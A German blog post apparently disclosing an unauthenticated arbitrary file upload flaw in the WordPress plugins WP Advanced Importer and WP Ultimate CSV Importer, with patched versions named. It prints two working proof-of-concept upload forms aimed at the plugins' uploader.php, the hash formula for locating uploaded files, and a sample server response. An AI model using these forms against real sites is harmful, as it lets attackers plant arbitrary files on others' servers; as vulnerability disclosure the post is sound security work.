Bugs in zwei WordPress-Plugins verwandelten Blogs in Download-Portale

Vor ein paar Tagen habe ich eine spannende Lücke in zwei miteinander verwandten WordPress-Plugins gefunden. Dabei handelt es sich um den WP Advanced Importer und den WP Ultimate CSV Importer.

Beide Plugins bringen die Dateien "./templates/uploader.php" und "./templates/UploadHandler.php" mit sich. Bei ersterer handelt es sich um einen ungeschützten Einstieg, während zweitere den eigentlichen, schadhaften Code enthält. Beide lassen sich mit folgendem, beispielhaftem Code ausnutzen:

1
2
3
4
5
6
<form enctype="multipart/form-data" action="http://example.com/wp-content/plugins/wp-advanced-importer/templates/uploader.php" method="POST">
    <input type="hidden" name="uploadPath" value="./uploads/" />
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    Upload: <input name="files" type="file" />
    <input type="submit" />
</form>
1
2
3
4
5
6
<form enctype="multipart/form-data" action="http://example.com/wp-content/plugins/wp-ultimate-csv-importer/templates/uploader.php" method="POST">
    <input type="hidden" name="uploadPath" value="./uploads/" />
    <input type="hidden" name="MAX_FILE_SIZE" value="30000" />
    Upload: <input name="files" type="file" />
    <input type="submit" />
</form>

Hier passiert folgendes: Die "uploader.php" instanziiert die Klasse "UploadHandler". Vom Konstruktor wird die Methode initialize() aufgerufen, die wiederum die Methode post() aufruft. Darin enthalten ist eine Upload-Verarbeitungsroutine, die sich durch einzelne Request-Parameter steuern lässt. Im oben gezeigten Fall landen hochgeladene Dateien im Plugin-Unterordner "./templates/uploads/ultimate_importer/". Als geringen Schutz wird der Dateiname gehasht. Der finale Dateiname lässt sich jedoch wie folgt ermitteln:

1
hash_hmac('md5', $DATEINAME, 'secret');

Praktischerweise gibt das Upload-Script auch noch jede Menge Feedback, sodass man sich gut orientieren kann, welche schlussendlichen Pfade man denn mal probieren könnte:

1
{"files":[{"name":"BEISPIEL.php--1.csv","size":25,"type":"text\/php","url":"http:\/\/example.com\/wp-content\/plugins\/wp-ultimate-csv-importer\/templates\/files\/BEISPIEL.php--1.csv","deleteUrl":"http:\/\/example.com\/wp-content\/plugins\/wp-ultimate-csv-importer\/templates\/?file=BEISPIEL.php--1.csv","deleteType":"DELETE","uploadedname":"B"}]}

Mit dieser Funktion können beliebige Dateien auf Server hochgeladen werden. Sie sind zwar nicht unter dem ursprünglichen Namen verfügbar, für den Austausch von Dateien könnte diese Lücke jedoch problemlos eingesetzt werden. Glücklicherweise wurde der Bug in der Version 1.2.1 des WP Advanced Importer und in der Version 3.6.2 des WP Ultimate CSV Importer behoben. Es ist daher angeraten, schnellst möglich upzudaten.

Importierende Grüße, Kenny

Schreibe einen Kommentar

Um Ihnen beim weiteren Kommentieren auf dieser Webseite die erneute Eingabe Ihrer Daten zu ersparen, wird beim Absenden Ihres Kommentars ein Cookie an Ihren Browser gesendet und von diesem gespeichert. Mit dem Absenden eines Kommentars auf dieser Webseite stimmen Sie der Speicherung und Übertragung dieses Cookies explizit zu.

Pflichtfelder sind mit * markiert.